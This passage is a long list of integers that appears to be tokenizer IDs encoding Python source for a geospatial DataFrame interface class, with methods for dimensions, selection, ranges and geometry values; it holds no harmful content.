2069,
29898,
25932,
29892,
560,
1853,
29892,
848,
29892,
413,
6229,
29879,
29892,
325,
6229,
29879,
1125,
13,
4706,
1053,
11701,
408,
10518,
13,
4706,
515,
1737,
459,
7086,
1053,
1879,
29877,
17271,
29892,
1879,
29877,
19204,
13,
13,
4706,
565,
413,
6229,
29879,
338,
6213,
29901,
13,
9651,
413,
6229,
29879,
353,
560,
1853,
29889,
29895,
6229,
29879,
13,
13,
4706,
565,
325,
6229,
29879,
338,
6213,
29901,
13,
9651,
325,
6229,
29879,
353,
560,
1853,
29889,
29894,
6229,
29879,
13,
13,
4706,
565,
338,
8758,
29898,
1272,
29892,
1879,
29877,
19204,
1125,
13,
9651,
848,
353,
848,
29889,
517,
29918,
2557,
580,
13,
13,
4706,
565,
338,
8758,
29898,
1272,
29892,
1051,
1125,
13,
9651,
565,
599,
29898,
275,
8758,
29898,
29881,
29892,
23216,
29918,
8768,
29897,
363,
270,
297,
848,
1125,
13,
18884,
848,
353,
518,
10998,
19156,
2396,
270,
29913,
363,
270,
297,
848,
29962,
13,
9651,
565,
599,
29898,
275,
8758,
29898,
29881,
29892,
9657,
29897,
322,
525,
19156,
29915,
297,
270,
322,
338,
8758,
29898,
29881,
1839,
19156,
7464,
23216,
29918,
8768,
29897,
13,
462,
259,
363,
270,
297,
848,
1125,
13,
18884,
848,
353,
1879,
29877,
17271,
29898,
1272,
29897,
13,
9651,
565,
451,
338,
8758,
29898,
1272,
29892,
1879,
29877,
17271,
1125,
13,
18884,
848,
353,
515,
29918,
9910,
29898,
295,
1853,
29892,
848,
29892,
413,
6229,
29879,
29892,
325,
6229,
29879,
29897,
13,
4706,
25342,
451,
338,
8758,
29898,
1272,
29892,
1879,
29877,
17271,
1125,
13,
9651,
12020,
7865,
2392,
703,
7999,
29877,
29925,
7086,
10448,
871,
2304,
1737,
459,
7086,
376,
13,
462,
632,
376,
1469,
14438,
1280,
451,
1273,
29879,
1213,
1273,
1134,
29898,
1272,
876,
13,
4706,
25342,
525,
19156,
29915,
451,
297,
848,
29901,
13,
9651,
1067,
29879,
29889,
24756,
29918,
4914,
29898,
1272,
29897,
13,
13,
4706,
2380,
29918,
7039,
353,
848,
29889,
2248,
29889,
7039,
565,
338,
8758,
29898,
1272,
29892,
10518,
29889,
17271,
29897,
1683,
518,
1272,
29889,
2248,
29889,
978,
29962,
13,
4706,
565,
2380,
29918,
7039,
1275,
518,
8516,
5387,
13,
9651,
2380,
29918,
7039,
353,
6024,
2248,
2033,
13,
13,
4706,
363,
413,
29881,
297,
413,
6229,
29879,
29974,
29894,
6229,
29879,
29901,
13,
9651,
413,
29881,
353,
9927,
29918,
978,
29898,
29895,
29881,
29897,
13,
9651,
565,
413,
29881,
297,
848,
29889,
13099,
29901,
13,
18884,
6773,
13,
9651,
565,
738,
29898,
29895,
29881,
1275,
6702,
2248,
29915,
565,
1024,
338,
6213,
1683,
1024,
29897,
13,
462,
259,
363,
1024,
297,
2380,
29918,
7039,
1125,
13,
18884,
848,
353,
848,
29889,
12071,
29918,
2248,
580,
13,
18884,
2867,
13,
13,
4706,
1018,
29901,
13,
9651,
528,
29886,
29918,
8768,
353,
426,
4141,
29961,
29945,
17531,
565,
525,
15329,
29915,
297,
330,
29873,
1683,
330,
29873,
363,
330,
29873,
297,
848,
29889,
479,
290,
29918,
1853,
29913,
13,
4706,
5174,
29901,
13,
9651,
528,
29886,
29918,
8768,
353,
5159,
13,
4706,
565,
7431,
29898,
845,
29886,
29918,
8768,
29897,
1405,
29871,
29896,
29901,
13,
9651,
12020,
3630,
2392,
877,
1576,
1879,
459,
7086,
10448,
508,
871,
1303,
848,
19935,
607,
525,
13,
462,
9651,
525,
13653,
263,
3619,
16303,
1134,
29892,
1476,
1273,
29879,
4072,
6169,
1273,
528,
29886,
29918,
8768,
29892,
13,
462,
9651,
1067,
29879,
29897,
13,
13,
4706,
736,
848,
29892,
11117,
29895,
6229,
29879,
2396,
413,
6229,
29879,
29892,
525,
29894,
6229,
29879,
2396,
325,
6229,
29879,
1118,
6571,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
12725,
29898,
25932,
29892,
8783,
29892,
325,
6229,
29879,
29922,
5574,
1125,
13,
4706,
3964,
29918,
8768,
353,
525,
1989,
29915,
565,
325,
6229,
29879,
1683,
525,
497,
29915,
13,
4706,
23216,
29918,
6229,
29879,
353,
1067,
29879,
29889,
479,
290,
29918,
6229,
29879,
29898,
24713,
29897,
13,
4706,
565,
7431,
29898,
479,
290,
29918,
6229,
29879,
29897,
2804,
29871,
29906,
29901,
13,
9651,
12020,
3630,
2392,
877,
1252,
6021,
1273,
29879,
2777,
304,
9607,
1023,
1820,
525,
13,
462,
9651,
525,
6229,
5580,
6590,
304,
278,
16303,
525,
13,
462,
9651,
525,
1111,
24266,
541,
1273,
29881,
13391,
892,
1476,
525,
13,
462,
9651,
525,
4716,
1258,
451,
2737,
304,
738,
4341,
6169,
13,
462,
9651,
1273,
313,
1853,
29898,
24713,
467,
1649,
978,
1649,
29892,
7431,
29898,
479,
290,
29918,
6229,
29879,
8243,
1067,
29879,
29897,
13,
4706,
451,
29918,
11940,
353,
518,
29881,
29889,
978,
363,
270,
297,
8783,
29889,
6229,
5580,
29898,
6229,
29918,
8768,
29897,
13,
462,
268,
565,
270,
451,
297,
23216,
29918,
6229,
29879,
322,
270,
29889,
978,
451,
297,
8783,
29889,
1272,
29962,
13,
4706,
565,
451,
29918,
11940,
29901,
13,
9651,
12020,
3630,
2392,
703,
20182,
2957,
848,
947,
451,
1712,
6790,
376,
13,
462,
632,
376,
6229,
5580,
29892,
278,
1494,
13391,
892,
376,
13,
462,
632,
376,
1333,
1476,
29901,
1273,
29879,
29908,
1273,
2062,
29898,
1333,
29918,
11940,
511,
1067,
29879,
29897,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
26688,
29898,
25932,
29892,
8783,
29892,
9927,
1125,
13,
4706,
1024,
353,
8783,
29889,
657,
29918,
6229,
2673,
29898,
6229,
2673,
29892,
9406,
29922,
5574,
467,
978,
13,
4706,
565,
1024,
451,
297,
8783,
29889,
1272,
29901,
13,
9651,
736,
7442,
29889,
29881,
1853,
877,
7411,
1495,
396,
1879,
7843,
9927,
13,
4706,
736,
8783,
29889,
1272,
29961,
978,
1822,
29881,
1853,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
756,
29918,
5391,
267,
29898,
25932,
29892,
8783,
1125,
13,
4706,
515,
528,
481,
873,
29889,
19156,
1053,
2043,
17125,
29892,
14974,
7713,
17125,
13,
4706,
784,
353,
1067,
29879,
29889,
24756,
29918,
4914,
29898,
24713,
29889,
1272,
29897,
13,
4706,
363,
23216,
297,
8783,
29889,
1272,
29961,
1054,
5387,
13,
9651,
565,
338,
8758,
29898,
479,
290,
29892,
2043,
17125,
29897,
322,
23216,
29889,
1639,
18930,
29901,
13,
18884,
736,
5852,
13,
9651,
25342,
338,
8758,
29898,
479,
290,
29892,
14974,
7713,
17125,
1125,
13,
18884,
363,
330,
297,
23216,
29901,
13,
462,
1678,
565,
338,
8758,
29898,
29887,
29892,
2043,
17125,
29897,
322,
330,
29889,
1639,
18930,
29901,
13,
462,
4706,
736,
5852,
13,
4706,
736,
7700,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
26532,
29898,
25932,
29892,
8783,
1125,
13,
4706,
515,
528,
481,
873,
29889,
19156,
1053,
2043,
17125,
29892,
14974,
7713,
17125,
13,
4706,
26532,
353,
5159,
13,
4706,
784,
353,
1067,
29879,
29889,
24756,
29918,
4914,
29898,
24713,
29889,
1272,
29897,
13,
4706,
363,
23216,
297,
8783,
29889,
1272,
29961,
1054,
5387,
13,
9651,
565,
338,
8758,
29898,
479,
290,
29892,
2043,
17125,
29897,
322,
23216,
29889,
1639,
18930,
29901,
13,
18884,
26532,
29889,
4397,
4197,
29961,
479,
290,
29918,
517,
29918,
2378,
29898,
29882,
29897,
363,
298,
297,
23216,
29889,
1639,
18930,
24960,
13,
9651,
25342,
338,
8758,
29898,
479,
290,
29892,
14974,
7713,
17125,
1125,
13,
18884,
26532,
4619,
5519,
29961,
479,
290,
29918,
517,
29918,
2378,
29898,
29882,
29897,
363,
298,
297,
330,
29889,
1639,
18930,
29962,
363,
330,
297,
23216,
5262,
13,
9651,
1683,
29901,
13,
18884,
26532,
29889,
4397,
4197,
2636,
2314,
13,
4706,
736,
26532,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
1831,
29898,
25932,
29892,
8783,
29892,
9262,
29918,
13168,
29922,
8516,
29892,
3579,
21731,
1125,
13,
4706,
565,
1067,
29879,
29889,
479,
290,
29918,
6229,
29879,
29898,
24713,
1125,
13,
9651,
4489,
353,
1067,
29879,
29889,
12181,
29918,
13168,
29898,
24713,
29892,
9262,
29897,
13,
4706,
1683,
29901,
13,
9651,
4489,
353,
8783,
29889,
1272,
13,
4706,
565,
451,
9262,
29901,
13,
9651,
736,
4489,
13,
4706,
25342,
9262,
29918,
13168,
338,
6213,
29901,
13,
9651,
9262,
29918,
13168,
353,
1067,
29879,
29889,
2622,
29918,
13168,
29898,
24713,
29892,
9262,
29897,
13,
4706,
27541,
353,
1067,
29879,
29889,
2248,
287,
29898,
24713,
29892,
9262,
29897,
13,
4706,
4489,
353,
4489,
29889,
309,
542,
29961,
21731,
29918,
13168,
29962,
13,
4706,
565,
27541,
322,
7431,
29898,
2176,
29897,
1275,
29871,
29896,
322,
7431,
29898,
24713,
29889,
29894,
6229,
29879,
29897,
1275,
29871,
29896,
29901,
13,
9651,
736,
4489,
29961,
24713,
29889,
29894,
6229,
29879,
29961,
29900,
1822,
978,
1822,
309,
542,
29961,
29900,
29962,
13,
4706,
736,
4489,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
8267,
29918,
13168,
29898,
25932,
29892,
8783,
29892,
9262,
1125,
13,
4706,
921,
6229,
29892,
343,
6229,
353,
1067,
29879,
29889,
479,
290,
29918,
6229,
29879,
29898,
24713,
29897,
13,
4706,
921,
2838,
353,
9262,
29889,
7323,
29898,
29916,
6229,
29889,
978,
29892,
6213,
29897,
13,
4706,
343,
2838,
353,
9262,
29889,
7323,
29898,
2941,
326,
29889,
978,
29892,
6213,
29897,
13,
4706,
565,
921,
2838,
338,
6213,
322,
343,
2838,
338,
6213,
29901,
13,
9651,
736,
8783,
29889,
1272,
13,
13,
4706,
515,
528,
481,
873,
29889,
19156,
1053,
3800,
13,
13,
4706,
565,
921,
2838,
338,
6213,
29901,
13,
9651,
921,
29900,
29892,
921,
29896,
353,
1067,
29879,
29889,
3881,
29898,
24713,
29892,
921,
6229,
29897,
13,
4706,
25342,
338,
8758,
29898,
29916,
2838,
29892,
22780,
1125,
13,
9651,
921,
29900,
29892,
921,
29896,
353,
921,
2838,
29889,
2962,
29892,
921,
2838,
29889,
9847,
13,
4706,
25342,
338,
8758,
29898,
29916,
2838,
29892,
18761,
1125,
13,
9651,
921,
29900,
29892,
921,
29896,
353,
921,
2838,
13,
4706,
1683,
29901,
13,
9651,
12020,
7865,
2392,
703,
11730,
269,
506,
292,
338,
6969,
373,
28855,
2722,
29892,
1273,
29879,
376,
13,
462,
632,
376,
21731,
338,
310,
1134,
1273,
29879,
1213,
13,
462,
632,
1273,
313,
29916,
6229,
29892,
1134,
29898,
29916,
2838,
467,
1649,
978,
1649,
876,
13,
13,
4706,
565,
343,
2838,
338,
6213,
29901,
13,
9651,
343,
29900,
29892,
343,
29896,
353,
1067,
29879,
29889,
3881,
29898,
24713,
29892,
343,
6229,
29897,
13,
4706,
25342,
338,
8758,
29898,
952,
295,
29892,
22780,
1125,
13,
9651,
343,
29900,
29892,
343,
29896,
353,
343,
2838,
29889,
2962,
29892,
343,
2838,
29889,
9847,
13,
4706,
25342,
338,
8758,
29898,
952,
295,
29892,
18761,
1125,
13,
9651,
343,
29900,
29892,
343,
29896,
353,
343,
2838,
13,
4706,
1683,
29901,
13,
9651,
12020,
7865,
2392,
703,
11730,
269,
506,
292,
338,
6969,
373,
28855,
2722,
29892,
1273,
29879,
376,
13,
462,
632,
376,
21731,
338,
310,
1134,
1273,
29879,
1213,
13,
462,
632,
1273,
313,
2941,
326,
29892,
1134,
29898,
952,
295,
467,
1649,
978,
1649,
876,
13,
13,
4706,
13451,
353,
3800,
29898,
29916,
29900,
29892,
343,
29900,
29892,
921,
29896,
29892,
343,
29896,
29897,
13,
4706,
784,
353,
1067,
29879,
29889,
24756,
29918,
4914,
29898,
24713,
29889,
1272,
29897,
13,
4706,
4489,
353,
8783,
29889,
1272,
29889,
8552,
580,
13,
4706,
4489,
29961,
1054,
29962,
353,
4489,
29961,
1054,
1822,
1639,
2042,
29898,
23687,
29897,
13,
4706,
736,
4489,
29961,
2176,
29961,
1054,
1822,
6203,
1405,
29871,
29900,
29962,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
1831,
29918,
13168,
29898,
25932,
29892,
8783,
29892,
9262,
1125,
13,
4706,
11105,
353,
7442,
29889,
2873,
29898,
2435,
29898,
24713,
29889,
1272,
511,
26688,
29922,
9302,
29889,
11227,
29897,
13,
4706,
363,
3964,
29892,
413,
297,
9262,
29889,
7076,
7295,
13,
9651,
565,
338,
8758,
29898,
29895,
29892,
18761,
1125,
13,
18884,
413,
353,
22780,
10456,
29895,
29897,
13,
9651,
3948,
353,
8783,
29889,
1272,
29961,
6229,
1822,
5975,
13,
9651,
565,
338,
8758,
29898,
29895,
29892,
22780,
1125,
13,
18884,
411,
18116,
29889,
12510,
29918,
25442,
886,
7295,
13,
462,
1678,
18116,
29889,
4572,
25442,
886,
877,
17281,
742,
364,
29915,
20965,
995,
18169,
1495,
13,
462,
1678,
565,
413,
29889,
2962,
338,
451,
6213,
29901,
13,
462,
4706,
11105,
7878,
413,
29889,
2962,
5277,
3948,
13,
462,
1678,
565,
413,
29889,
9847,
338,
451,
6213,
29901,
13,
462,
4706,
11105,
7878,
3948,
529,
413,
29889,
9847,
13,
9651,
25342,
338,
8758,
29898,
29895,
29892,
313,
842,
29892,
1051,
22164,
13,
18884,
4256,
29918,
2536,
2395,
353,
5159,
13,
18884,
363,
12380,
297,
413,
29901,
13,
462,
1678,
411,
18116,
29889,
12510,
29918,
25442,
886,
7295,
13,
462,
4706,
18116,
29889,
4572,
25442,
886,
877,
17281,
742,
364,
29915,
20965,
995,
18169,
1495,
13,
462,
4706,
4256,
29918,
2536,
2395,
29889,
4397,
29898,
2749,
1275,
12380,
29897,
13,
18884,
11105,
7878,
7442,
29889,
1188,
936,
29918,
272,
29889,
17469,
29898,
1524,
29918,
2536,
2395,
29897,
13,
9651,
25342,
1246,
519,
29898,
29895,
1125,
13,
18884,
11105,
7878,
413,
29898,
2749,
29897,
13,
9651,
1683,
29901,
13,
18884,
2380,
29918,
13168,
353,
3948,
1275,
413,
13,
18884,
565,
8783,
29889,
299,
9893,
1275,
29871,
29896,
322,
7442,
29889,
2083,
29898,
2248,
29918,
13168,
29897,
1275,
29871,
29900,
29901,
13,
462,
1678,
848,
29918,
2248,
353,
7442,
29889,
1191,
1195,
29898,
9302,
29889,
6897,
29898,
2749,
448,
413,
876,
13,
462,
1678,
11105,
353,
7442,
29889,
3298,
359,
29898,
2435,
29898,
24713,
511,
26688,
29922,
9302,
29889,
11227,
29897,
13,
462,
1678,
11105,
29961,
1272,
29918,
2248,
29962,
353,
5852,
13,
18884,
1683,
29901,
13,
462,
1678,
11105,
7878,
2380,
29918,
13168,
13,
4706,
736,
11105,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
23216,
29918,
6229,
29879,
29898,
25932,
29892,
8783,
1125,
13,
4706,
736,
518,
29881,
363,
270,
297,
8783,
29889,
29895,
6229,
29879,
718,
8783,
29889,
29894,
6229,
29879,
13,
18884,
565,
270,
29889,
978,
451,
297,
8783,
29889,
1272,
29962,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
9927,
29918,
1853,
29898,
25932,
29892,
8783,
29892,
3964,
1125,
13,
4706,
784,
353,
1067,
29879,
29889,
24756,
29918,
4914,
29898,
24713,
29889,
1272,
29897,
13,
4706,
3948,
353,
23216,
29918,
517,
29918,
2378,
29898,
24713,
29889,
1272,
29961,
1054,
1822,
309,
542,
29961,
29900,
2314,
13,
4706,
18031,
353,
8783,
29889,
16513,
29898,
2749,
29892,
1418,
23179,
29922,
25932,
29889,
1491,
8768,
29892,
325,
6229,
29879,
11759,
2314,
13,
4706,
736,
18031,
29889,
13248,
29889,
6229,
2673,
29918,
1853,
29898,
6289,
29892,
3964,
29897,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
1721,
1052,
279,
29898,
25932,
29892,
8783,
29892,
3964,
29892,
639,
29918,
479,
290,
29922,
8824,
1125,
13,
4706,
9995,
13,
4706,
4321,
29879,
565,
9927,
338,
17336,
297,
1269,
1014,
2084,
29889,
13,
4706,
9995,
13,
4706,
3964,
353,
8783,
29889,
657,
29918,
6229,
2673,
29898,
6229,
29897,
13,
4706,
23216,
29918,
6229,
29879,
353,
1067,
29879,
29889,
479,
290,
29918,
6229,
29879,
29898,
24713,
29897,
13,
4706,
565,
3964,
297,
23216,
29918,
6229,
29879,
29901,
13,
9651,
736,
7700,
13,
4706,
25342,
639,
29918,
479,
290,
29901,
13,
9651,
736,
599,
29898,
790,
1052,
279,
29898,
29894,
29897,
470,
7431,
29898,
1761,
29898,
13092,
29918,
2378,
29898,
29894,
4961,
1275,
29871,
29896,
13,
462,
539,
363,
325,
297,
8783,
29889,
1272,
29961,
6229,
29889,
978,
2314,
13,
4706,
3964,
353,
8783,
29889,
657,
29918,
6229,
2673,
29898,
6229,
29897,
13,
4706,
736,
7431,
29898,
24713,
29889,
1272,
29961,
6229,
29889,
978,
1822,
13092,
3101,
1275,
29871,
29896,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
3464,
29898,
25932,
29892,
8783,
29892,
3964,
1125,
13,
4706,
3964,
353,
8783,
29889,
657,
29918,
6229,
2673,
29898,
6229,
29897,
13,
4706,
23216,
29918,
6229,
29879,
353,
1067,
29879,
29889,
479,
290,
29918,
6229,
29879,
29898,
24713,
29897,
13,
4706,
565,
3964,
297,
23216,
29918,
6229,
29879,
29901,
13,
9651,
784,
353,
1067,
29879,
29889,
24756,
29918,
4914,
29898,
24713,
29889,
1272,
29897,
13,
9651,
22645,
353,
23216,
29918,
6229,
29879,
29889,
2248,
29898,
6229,
29897,
13,
9651,
13451,
353,
8783,
29889,
1272,
29961,
1054,
1822,
23687,
13,
9651,
565,
22645,
1275,
29871,
29900,
29901,
13,
18884,
736,
13451,
29889,
1195,
29916,
29889,
1195,
3285,
13451,
29889,
3317,
29916,
29889,
3317,
580,
13,
9651,
1683,
29901,
13,
18884,
736,
13451,
29889,
1195,
29891,
29889,
1195,
3285,
13451,
29889,
3317,
29891,
29889,
3317,
580,
13,
4706,
1683,
29901,
13,
9651,
659,
29879,
353,
8783,
29889,
1272,
29961,
6229,
29889,
978,
29962,
13,
9651,
736,
659,
29879,
29889,
1195,
3285,
659,
29879,
29889,
3317,
580,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
20431,
29898,
25932,
29892,
4341,
29892,
13391,
29892,
740,
29892,
3579,
19290,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
788,
29918,
6229,
2673,
29898,
25932,
29892,
8783,
29892,
9927,
29892,
3964,
29918,
1066,
29892,
1819,
29892,
325,
6229,
1125,
13,
4706,
848,
353,
8783,
29889,
1272,
29889,
8552,
580,
13,
4706,
23216,
29918,
1054,
353,
1067,
29879,
29889,
24756,
29918,
4914,
29898,
24713,
29889,
1272,
29897,
13,
4706,
565,
3964,
29918,
1066,
6736,
1051,
29898,
1272,
29889,
13099,
467,
2248,
29898,
479,
290,
29918,
1054,
1125,
13,
9651,
3964,
29918,
1066,
22361,
29871,
29896,
13,
4706,
565,
9927,
29889,
978,
451,
297,
848,
29901,
13,
9651,
848,
29889,
7851,
29898,
6229,
29918,
1066,
29892,
9927,
29889,
978,
29892,
1819,
29897,
13,
4706,
736,
848,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
2318,
1609,
29898,
25932,
29892,
8783,
29892,
13391,
29892,
5639,
29918,
1853,
29892,
2318,
29918,
1853,
29892,
3579,
19290,
1125,
13,
4706,
1737,
29877,
29918,
6229,
29879,
353,
1067,
29879,
29889,
479,
290,
29918,
6229,
29879,
29898,
24713,
29897,
13,
4706,
565,
738,
29898,
29881,
297,
1737,
29877,
29918,
6229,
29879,
363,
270,
297,
13391,
1125,
13,
9651,
12020,
3630,
2392,
703,
7999,
29877,
29925,
7086,
10448,
947,
451,
2758,
27270,
376,
13,
462,
9651,
376,
1609,
16303,
9927,
19602,
1067,
29879,
29897,
13,
13,
4706,
736,
349,
7086,
10448,
29889,
27789,
29898,
24713,
29892,
13391,
29892,
5639,
29918,
1853,
29892,
2318,
29918,
1853,
29892,
3579,
19290,
29897,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
337,
2248,
29898,
25932,
29892,
8783,
29892,
413,
6229,
29879,
29922,
8516,
29892,
325,
6229,
29879,
29922,
8516,
1125,
13,
4706,
736,
8783,
29889,
1272,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
4559,
29898,
25932,
29892,
4341,
29892,
11916,
29922,
2636,
1125,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
13,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
2656,
29898,
25932,
29892,
8783,
29892,
491,
11759,
1402,
11837,
29922,
8824,
1125,
13,
4706,
1737,
29877,
29918,
6229,
29879,
353,
1067,
29879,
29889,
479,
290,
29918,
6229,
29879,
29898,
24713,
29897,
13,
4706,
565,
738,
29898,
29881,
297,
1737,
29877,
29918,
6229,
29879,
363,
270,
297,
491,
1125,
13,
9651,
12020,
3630,
2392,
703,
29903,
5031,
616,
29925,
7086,
10448,
947,
451,
2758,
16548,
376,
13,
462,
9651,
376,
1609,
16303,
9927,
19602,
1067,
29879,
29897,
13,
4706,
736,
349,
7086,
10448,
29889,
6605,
29898,
24713,
29892,
491,
29892,
11837,
29897,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
8267,
29898,
25932,
29892,
8783,
1125,
13,
4706,
736,
313,
25932,
29889,
2848,
29898,
24713,
511,
7431,
29898,
24713,
29889,
6229,
5580,
22130,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
3309,
29898,
25932,
29892,
8783,
1125,
13,
4706,
23216,
29918,
1853,
353,
1067,
29879,
29889,
479,
290,
29918,
1853,
29898,
24713,
29897,
13,
4706,
565,
23216,
29918,
1853,
2804,
525,
5228,
2396,
13,
9651,
736,
7431,
29898,
24713,
29889,
1272,
29897,
13,
4706,
736,
2533,
4197,
479,
290,
29918,
2848,
29898,
29887,
29897,
363,
330,
297,
8783,
29889,
1272,
29889,
19156,
2314,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
1661,
9171,
29898,
25932,
29892,
8783,
1125,
13,
4706,
736,
6120,
29898,
25932,
29889,
2848,
29898,
24713,
876,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
2654,
326,
29898,
25932,
29892,
8783,
29892,
13391,
1125,
13,
4706,
736,
349,
7086,
10448,
29889,
1127,
326,
29898,
24713,
29892,
13391,
29897,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
1819,
29898,
25932,
29892,
8783,
29892,
9927,
29892,
17832,
29922,
5574,
29892,
12151,
29922,
5574,
29892,
10272,
29922,
5574,
29892,
3013,
29918,
2248,
29922,
8824,
1125,
13,
4706,
9927,
353,
8783,
29889,
657,
29918,
6229,
2673,
29898,
6229,
2673,
29897,
13,
4706,
23216,
29918,
6229,
29879,
353,
8783,
29889,
13248,
29889,
479,
290,
29918,
6229,
29879,
29898,
24713,
29897,
13,
4706,
848,
353,
8783,
29889,
1272,
13,
4706,
338,
479,
290,
353,
313,
6229,
2673,
297,
23216,
29918,
6229,
29879,
29897,
13,
4706,
23216,
29918,
1054,
353,
1067,
29879,
29889,
24756,
29918,
4914,
29898,
24713,
29889,
1272,
29897,
13,
4706,
338,
29918,
9748,
353,
1067,
29879,
29889,
479,
290,
29918,
1853,
29898,
24713,
29897,
1275,
525,
5228,
29915,
13,
4706,
565,
451,
7431,
29898,
1272,
1125,
13,
9651,
26688,
353,
5785,
565,
338,
479,
290,
1683,
8783,
29889,
1272,
29961,
6229,
2673,
29889,
978,
1822,
29881,
1853,
13,
9651,
736,
7442,
29889,
2378,
4197,
1402,
26688,
29922,
29881,
1853,
29897,
13,
13,
4706,
784,
353,
1067,
29879,
29889,
24756,
29918,
4914,
29898,
24713,
29889,
1272,
29897,
13,
4706,
565,
338,
479,
290,
322,
3013,
29918,
2248,
29901,
13,
9651,
736,
848,
29961,
1054,
29962,
13,
4706,
25342,
451,
338,
479,
290,
29901,
13,
9651,
736,
679,
29918,
1767,
29918,
2378,
29898,
1272,
29892,
9927,
29892,
17832,
29892,
3013,
29918,
2248,
29892,
13,
462,
462,
259,
23216,
29918,
1054,
29892,
338,
29918,
9748,
29892,
23216,
29918,
2848,
29897,
13,
9651,
1897,
353,
848,
29961,
6229,
2673,
29889,
978,
29962,
13,
9651,
565,
451,
17832,
470,
3013,
29918,
2248,
470,
451,
7431,
29898,
1272,
1125,
13,
18884,
736,
1897,
565,
3013,
29918,
2248,
1683,
1897,
29889,
5975,
13,
9651,
1683,
29901,
13,
18884,
7049,
353,
5159,
13,
18884,
363,
474,
29892,
23216,
297,
26985,
29898,
1272,
29961,
1054,
29962,
1125,
13,
462,
1678,
3309,
353,
23216,
29918,
2848,
29898,
479,
290,
29897,
13,
462,
1678,
7049,
29889,
4397,
29898,
9302,
29889,
8159,
29898,
2848,
29892,
1897,
29889,
309,
542,
29961,
29875,
12622,
13,
18884,
736,
7442,
29889,
535,
29883,
2579,
403,
29898,
2378,
29879,
29897,
565,
7431,
29898,
2378,
29879,
29897,
1405,
29871,
29896,
1683,
7049,
29961,
29900,
29962,
13,
13,
4706,
1819,
353,
5159,
13,
4706,
23216,
29918,
1853,
353,
848,
29889,
479,
290,
29918,
1853,
29889,
309,
542,
29961,
29900,
29962,
13,
4706,
18031,
353,
8783,
29889,
16513,
29898,
1272,
29889,
309,
542,
29961,
29900,
1822,
517,
29918,
8977,
3285,
1418,
23179,
29922,
1839,
479,
290,
29918,
27126,
11287,
13,
4706,
363,
474,
29892,
1948,
297,
848,
29889,
1524,
5727,
7295,
13,
9651,
18031,
29889,
1272,
353,
1948,
29889,
517,
29918,
8977,
580,
13,
9651,
1819,
29889,
4397,
29898,
6289,
29889,
13248,
29889,
5975,
29898,
6289,
29892,
9927,
876,
13,
9651,
565,
525,
5228,
29915,
451,
297,
23216,
29918,
1853,
322,
17832,
29901,
13,
18884,
1819,
29889,
4397,
4197,
9302,
29889,
19377,
2314,
13,
4706,
1819,
353,
1819,
565,
525,
5228,
29915,
297,
23216,
29918,
1853,
470,
451,
17832,
1683,
1819,
7503,
29899,
29896,
29962,
13,
4706,
565,
7431,
29898,
5975,
29897,
1275,
29871,
29896,
29901,
13,
9651,
736,
1819,
29961,
29900,
29962,
13,
4706,
25342,
451,
1819,
29901,
13,
9651,
736,
7442,
29889,
2378,
4197,
2314,
13,
4706,
25342,
451,
17832,
29901,
13,
9651,
1409,
353,
7442,
29889,
6310,
29898,
2435,
29898,
5975,
511,
26688,
29922,
3318,
29897,
13,
9651,
1409,
7503,
29962,
353,
1819,
13,
9651,
736,
1409,
13,
4706,
1683,
29901,
13,
9651,
736,
7442,
29889,
535,
29883,
2579,
403,
29898,
5975,
29897,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
980,
542,
29898,
25932,
29892,
8783,
29892,
2380,
1125,
13,
4706,
515,
1737,
459,
7086,
1053,
1879,
29877,
19204,
13,
4706,
515,
528,
481,
873,
29889,
19156,
1053,
14974,
5228,
13,
4706,
4206,
29892,
28730,
353,
2380,
13,
4706,
23216,
29918,
6229,
29879,
353,
1067,
29879,
29889,
479,
290,
29918,
6229,
29879,
29898,
24713,
29897,
13,
4706,
23216,
29918,
1054,
353,
1067,
29879,
29889,
24756,
29918,
4914,
29898,
24713,
29889,
1272,
29897,
13,
4706,
17336,
353,
7700,
13,
4706,
4341,
353,
1051,
29898,
24713,
29889,
1272,
29889,
13099,
29897,
13,
4706,
565,
338,
8758,
29898,
22724,
29892,
22780,
1125,
13,
9651,
28730,
353,
518,
29881,
29889,
978,
363,
270,
297,
8783,
29889,
6229,
5580,
580,
3816,
22724,
29962,
13,
4706,
25342,
7442,
29889,
790,
1052,
279,
29898,
22724,
1125,
13,
9651,
17336,
353,
7442,
29889,
790,
1052,
279,
29898,
5727,
29897,
13,
9651,
28730,
353,
518,
24713,
29889,
657,
29918,
6229,
2673,
29898,
22724,
467,
978,
29962,
13,
4706,
1683,
29901,
13,
9651,
28730,
353,
518,
24713,
29889,
657,
29918,
6229,
2673,
29898,
29881,
467,
978,
363,
270,
297,
2380,
29961,
29896,
5262,
13,
4706,
565,
451,
599,
29898,
29881,
297,
28730,
363,
270,
297,
23216,
29918,
6229,
29879,
1125,
13,
9651,
12020,
3630,
2392,
703,
29089,
2380,
263,
9927,
607,
338,
760,
310,
278,
376,
13,
462,
9651,
376,
19156,
1897,
310,
263,
18652,
15112,
3630,
4308,
19602,
1067,
29879,
29897,
13,
4706,
28730,
353,
1051,
29898,
13092,
29918,
17609,
4197,
13,
9651,
4341,
29889,
2248,
29898,
479,
290,
29918,
1054,
29897,
565,
274,
297,
23216,
29918,
6229,
29879,
1683,
4341,
29889,
2248,
29898,
29883,
29897,
363,
